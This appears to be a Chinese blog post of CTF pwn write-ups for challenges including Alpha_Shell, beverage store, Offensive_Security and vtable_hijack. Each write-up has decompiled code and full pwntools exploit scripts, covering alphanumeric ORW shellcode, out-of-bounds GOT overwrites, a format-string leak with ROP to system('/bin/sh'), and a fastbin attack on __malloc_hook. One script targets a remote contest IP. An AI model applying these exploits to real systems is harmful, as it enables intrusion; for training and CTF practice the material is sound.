pwn
Alpha_Shell
日常检查一下
1 2 3 4 5 6 7 8 9 10 11
| llq@llq-virtual-machine:~$ checksec 1111 [*] '/home/llq/1111' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No llq@llq-virtual-machine:~$
|
看一下主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| int __fastcall main(int argc, const char **argv, const char **envp) { int i; int v5; void *dest; char buf[520]; unsigned __int64 v8;
v8 = __readfsqword(0x28u); init(); dest = mmap(0x100000000LL, 0x1000uLL, 7, 34, -1, 0LL); if ( dest == -1LL ) { puts("It seems that something wrong happened!"); exit(1); } puts("Radiant powers, deadly tech. Here we go!"); v5 = read(0, buf, 0x150uLL); for ( i = 0; i < v5; ++i ) { if ( (buf[i] <= 47 || buf[i] > 57) && (buf[i] <= 64 || buf[i] > 90) && (buf[i] <= 96 || buf[i] > 122) ) { puts("Invalid character detected!"); exit(1); } } sandbox(); memcpy(dest, buf, 0x150uLL); (dest)(dest); return 0; }
|
其实看题目就知道是一个Alpha3的看见字符的shellcode,只不过这里不同的是,这里加了一个沙箱和一个循环限制(我这里的理解是限制打/bin/sh)。
看一眼沙箱
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| unsigned __int64 sandbox() { __int64 v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); v1 = seccomp_init(2147418112LL); seccomp_rule_add(v1, 0x80000000LL, 2LL, 0LL); seccomp_rule_add(v1, 0x80000000LL, 0LL, 0LL); seccomp_rule_add(v1, 0x80000000LL, 19LL, 0LL); seccomp_rule_add(v1, 0x80000000LL, 1LL, 0LL); seccomp_rule_add(v1, 0x80000000LL, 20LL, 0LL); seccomp_rule_add(v1, 0x80000000LL, 59LL, 0LL); seccomp_rule_add(v1, 0x80000000LL, 322LL, 0LL); seccomp_load(v1); return v2 - __readfsqword(0x28u); }
|
这里就直接喂给gpt,也就是ORW了呗
思路:写ORW的shellcode并且转为可见字符串就行了
写一下ORW的shellcode
这里用的
ae64
1
| git clone https://github.com/veritas501/ae64.git
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * from ae64 import AE64 context.log_level = 'debug' context.arch = 'amd64'
shellcode = ''' mov rax, 0x67616c662f2e push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push SYS_openat pop rax syscall
mov rdi, 1 mov rsi, 3 push 0 mov rdx, rsp mov r10, 0x100 push SYS_sendfile pop rax syscall '''
shellcode_bytes = asm(shellcode)
obj = AE64() encoded_shellcode = obj.encode(shellcode_bytes, 'rdx') print(encoded_shellcode)
|
然后就正常传shellcode就行了
1 2 3 4 5 6 7 8 9
| from pwn import *
r=process('./1111') context(arch = 'amd64', os = 'linux', log_level = 'debug')
shellcode_64=b'RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjKTYfi9630t800T820T870T880t8B0T8J0T8K0T8L0T8M0T8O0T8P0T8T0T8U0T8V0T8W0t8b0T8g0T8h0T8i0T8j0T8n0T8oRAPZ0t8C0t8E0t8H0t8R0t8S0t8Y0t8Z0t8c0t8e0t8fZRAQZ0T810T8lZjNTYfi9yb0t800t820T8O0T8P0T8Q0T8R0T8TRAPZ0t83ZHpwzflagUUPH17HKodHAf1RM1RhTTUUXZPHGGTUUUHGFVUUUjUHAbIGBUTUUjqXZP' payload=shellcode_64 r.sendafter('Here we go!\n',payload) r.interactive()
|
注意的是在进行ae64编码的时候,我们可以看见后面有一个寄存器,我们要注意一下我们最后的shellcode写到哪就行
参考wp:
1 2 3 4 5 6 7 8 9 10
| from pwn import * from ae64 import AE64 p = process("./attachment") context(os="linux", arch='amd64', log_level='debug') p.recvuntil("\n") shellcode = shellcraft.openat('AT_FDCWD', './flag', 0, 0) shellcode += shellcraft.sendfile(1, 3, 0, 50) alphanumeric_shellcode = AE64().encode(asm(shellcode), 'rdx', 0, 'fast') p.send(alphanumeric_shellcode) p.interactive()
|
beverage store
日常检查一下
1 2 3 4 5 6 7 8 9 10 11
| llq@llq-virtual-machine:~$ checksec pwn [*] '/home/llq/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No llq@llq-virtual-machine:~$
|
就关了随机化
然后我们看下主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); check_vip(); buy(); }
unsigned __int64 check_vip() { int v1; int v2; char buf[24]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); seed = time(0LL); puts("input yours id"); read(0, buf, 0x10uLL); strcpy(name, buf); srand(seed); v2 = rand(); puts("Input yours id authentication code:"); __isoc99_scanf("%d", &v1); if ( v2 != v1 ) { puts("Authentication error!"); exit(0); } return v4 - __readfsqword(0x28u); }
void __noreturn buy() { unsigned int v0; unsigned __int64 v1;
v1 = __readfsqword(0x28u); puts("welcome to my beverage store"); puts("What type of drink do you want"); puts("1 juice\n2 coffe\n3 milk tea\n4 wine"); __isoc99_scanf("%d", &v0); if ( (int)v0 > 4 ) { printf("out of range"); exit(1); } list(v0); puts("which one to choose"); read(0, §ion[16 * v0], 0x10uLL); puts("succeed"); puts(§ion[16 * v0]); exit(0); }
|
怎么说呢?
就两个函数,看一下第一个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import* from struct import pack import ctypes
def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a)
def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() def get_hook(): return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook'] pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn')
p = process('./pwn')
sa('input yours id\n',b'aa') elf1=ctypes.CDLL("./libc.so.6") elf1.srand(elf1.time(0)) rl('code:\n') bug() sl(str(elf1.rand())) inter()
|
然后我们看一下buy函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| void __noreturn buy() { unsigned int v0; unsigned __int64 v1;
v1 = __readfsqword(0x28u); puts("welcome to my beverage store"); puts("What type of drink do you want"); puts("1 juice\n2 coffe\n3 milk tea\n4 wine"); __isoc99_scanf("%d", &v0); if ( (int)v0 > 4 ) { printf("out of range"); exit(1); } list(v0); puts("which one to choose"); read(0, §ion[16 * v0], 0x10uLL); puts("succeed"); puts(§ion[16 * v0]); exit(0); }
int __fastcall list(int a1) { int result;
if ( a1 == 1 ) result = puts("Juice | Orange Juice | Apple Juice | Grape Juice"); if ( a1 == 2 ) result = puts("Coffee | Espresso | Latte | Cappuccino"); if ( a1 == 3 ) result = puts("Milk Tea| Black Milk Tea | Green Milk Tea | Oolong Milk Tea"); if ( a1 == 4 ) return puts("Wine | Red Wine | White Wine | Rosé Wine"); return result; }
|
利用思路:
题型:数组越界
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| from pwn import* from struct import pack import ctypes
from ae64 import AE64 def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a)
def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() def get_hook(): return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook'] li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux',arch='amd64',log_level='debug') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./pwn') p=remote('125.70.243.22',31123)
rl("input yours id") sl(b'a') elf1=ctypes.CDLL("./libc.so.6") elf1.srand(elf1.time(0)) rl("Input yours id authentication code:") payload = str(elf1.rand()) sl(payload)
rl(b'4 wine') sl(str(-4)) rl(b'which one to choose') pay=p64(0x40133B) s(pay)
rl(b'4 wine') sl(str(-7)) s(b'a'*8) rl(b'succeed') rl(b'a'*8) libc_base=u64(p.recv(6).ljust(8, b'\x00'))-0x1147d0 li(hex(libc_base)) system,bin=get_sb()
rl(b'4 wine') sl(str(-7)) s(p64(system))
rl(b'4 wine') sl(str(-4)) rl(b'which one to choose') pay=p64(0x401511) s(pay)
inter()
|
数组越界
题目:2019年信息安全国赛的you_pwn
your_pwn_6f0cdc86697ba77563390d505cfd1ec4.zip_免费高速下载|百度网盘-分享无限制 (baidu.com)
提取码:m6ra
首先日常检查一下
1 2 3 4 5 6 7 8
| llq@llq-virtual-machine:~/111$ checksec pwn [*] '/home/llq/111/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled llq@llq-virtual-machine:~/111$
|
Offensive_Security
怎么说呢?
打开之后你会发现他是吧动态链接库给你拆开了,但是不影响你正常做题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| int __fastcall main(int argc, const char **argv, const char **envp) { int v3;
init(argc, argv, envp); login(&password); if ( v3 != 1 ) exit(1); vuln(); return 0; }
__int64 __fastcall login(_BYTE *a1) { size_t v1; char buf[36]; char s2[8]; int v5;
v5 = arc4random(); *a1 = HIBYTE(v5); a1[1] = BYTE2(v5); a1[2] = BYTE1(v5); a1[3] = v5; a1[4] = HIBYTE(v5); a1[5] = BYTE2(v5); a1[6] = BYTE1(v5); a1[7] = v5; v1 = strlen(art); write(1, art, v1); puts("[!] Please input your Username:"); read(0, buf, 0x10uLL); puts("[\x1B[1;32mINFO\x1B[0m] Welcome, "); printf(buf); puts("[!] Please input your password: "); read(0, s2, 8uLL); sleep(1u); if ( memcmp(a1, s2, 8uLL) ) { puts("\x1B[1;31m[CRITICAL]\x1B[0m Incorrect password!"); exit(1); } return 1LL; }
int vuln() { pthread_t th; pthread_t newthread;
pthread_create(&newthread, 0LL, checker, 0LL); pthread_create(&th, 0LL, guess, 0LL); pthread_join(newthread, 0LL); return pthread_join(th, 0LL); } int vuln() { pthread_t th; pthread_t newthread;
pthread_create(&newthread, 0LL, checker, 0LL); pthread_create(&th, 0LL, guess, 0LL); pthread_join(newthread, 0LL); return pthread_join(th, 0LL); }
|
我们先看下login康康
**利用思路:**应该就是通过格式化字符串进行绕过随机数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import* from struct import pack import ctypes
def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a)
def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() def get_hook(): return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook'] pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
elf=ELF('./1112')
p = process('./1112')
rl('Username:') s(b'%7$s') rl("Welcome, \n") password=u64(p.recv(8)) pr(hex(password)) addr= u64(p.recv(6).ljust(8, b'\x00')) pr(hex(addr)) pr(hex(addr-libc.sym['_IO_2_1_stdout_'])) rl('password:')
s(p64(password))
inter()
|
这里简单解释一下,我们接收地址之后,不是我们正常的以7f结尾的地址,但是我们也可以正常做就行
看一下它的地址然后正常做即可
addr-libc.sym[‘IO_2_1_stdout‘]
然后就可以正常知道偏移了
这里我也是卡了好久,只因为🙌🙌🙌🙌🙌
然后我们就看一下:vuln函数
1 2 3 4 5 6 7 8 9 10
| int vuln() { pthread_t th; pthread_t newthread;
pthread_create(&newthread, 0LL, checker, 0LL); pthread_create(&th, 0LL, guess, 0LL); pthread_join(newthread, 0LL); return pthread_join(th, 0LL); }
|
这里调用两个线程,checker和gess
运行的时候发现是直接走到了guess,我们分析guess时发现,我们输入的值会别checker进行验证
这里也是看的wp和拷打gpt(因为代码审计太差)
这里也就解释了为什么先走了gess机制
ok,那么最后进入shell的部分,就直接进行栈溢出就完了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import* from struct import pack import ctypes
def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a)
def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() def get_hook(): return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook'] pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux',arch='amd64',log_level='debug') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./1112')
p = process('./1112')
rl('Username:') s(b'%7$s') rl("Welcome, \n") password=u64(p.recv(8)) pr(hex(password)) addr= u64(p.recv(6).ljust(8, b'\x00')) pr(hex(addr)) libc_base=addr-libc.sym['_IO_2_1_stdout_'] pr(hex(libc_base)) system,bin_sh=get_sb() rl('password:')
s(p64(password))
sl("1234") rl("authentication code:") sleep(5) sl("1234")
rl('>\n')
rdi = 0x0000000000400661 pay = b'a'*0x28 + p64(rdi+1)+p64(rdi) + p64(bin_sh) + p64(system) sl(pay) inter()
|
这里睡眠时间长一些,绕过的机制 就大一些
vtable_hijack
UAF+堆溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| from pwn import* from struct import pack import ctypes
from ae64 import AE64 def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a)
def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() def get_hook(): return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook'] li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux',arch='amd64',log_level='debug') libc=ELF('./libc.so.6')
elf=ELF('./pwn')
p = process('./pwn')
def cmd(i): sla(b'choice:',str(i))
def add(idx,size): cmd(1) sla(b'index:',str(idx)) sla(b'size:',str(size)) def free(i): cmd(2) sla(b'index:',str(i)) def edit(idx,size,con): cmd(3) sla(b'index:',str(idx)) sla(b'length:',str(size)) sa(b'content:',con) def show(i): cmd(4) sla(b'index:',str(i))
add(0,0x80) add(1,0x68) add(2,0x68) add(3,0x68)
free(0) show(0) libc_base=get_addr64()-0x39bb78 li(hex(libc_base))
ogg=libc_base+0xd5c07 hook=libc_base+libc.sym['__malloc_hook'] add(0,0x80) free(1) free(2) edit(2,0x30,p64(hook-0x23)) add(4,0x68) add(5,0x68) edit(5,0x30,b'a'*19+p64(ogg)) cmd(1) sla(b'index:',str(7)) sla(b'size:',str(0x68)) inter()
|
参考文献:
手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南_ascii可见shellcode-CSDN博客
可见字符shellcode | Chen (new-blog-murex.vercel.app)
国城杯2024wp - powchan:pwn&AI